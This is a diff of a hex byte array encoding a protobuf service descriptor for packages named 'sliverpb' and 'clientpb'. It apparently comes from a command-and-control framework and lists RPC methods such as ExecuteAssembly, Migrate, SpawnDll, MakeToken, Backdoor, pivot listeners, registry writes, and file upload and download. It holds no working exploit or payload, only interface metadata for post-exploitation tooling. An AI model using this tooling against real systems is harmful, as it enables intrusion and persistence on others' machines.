- 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65,
- 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f,
- 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12,
- 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75,
- 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65,
- 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72,
- 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d,
- 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07,
- 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65,
- 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f,
- 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78,
- 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a,
- 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75,
- 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f,
- 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61,
- 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52,
- 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70,
- 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e,
- 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73,
- 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f,
- 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e,
- 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e,
- 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74,
- 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72,
- 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73,
- 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74,
- 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c,
- 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
- 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50,
- 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65,
- 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65,
- 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76,
- 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50,
- 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
- 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68,
- 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
- 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72,
- 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
- 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
- 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f,
- 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
- 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76,
- 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
- 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a,
- 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69,
- 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f,
- 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
- 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e,
- 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12,
- 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76,
- 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76,
- 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55,
- 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64,
- 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42,
- 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41,
- 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61,
- 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69,
- 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
- 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73,
- 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
- 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
- 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67,
- 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52,
- 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65,
- 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
- 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74,
- 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
+ 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
+ 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73,
+ 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
+ 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62,
+ 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65,
+ 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12,
+ 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e,
+ 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
+ 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62,
+ 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55,
+ 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41,
+ 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14,
+ 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e,
+ 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e,
+ 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12,
+ 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a,
+ 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12,
+ 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74,
+ 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72,
+ 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35,
+ 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65,
+ 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63,
+ 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74,
+ 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73,
+ 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12,
+ 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71,
+ 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24,
+ 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02,
+ 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76,
+ 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
+ 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d,
+ 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77,
+ 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64,
+ 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a,
+ 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61,
+ 0x64, 0x12, 0x29, 0x0a, 0x04, 0x47, 0x72, 0x65, 0x70, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x12, 0x2c, 0x0a, 0x05,
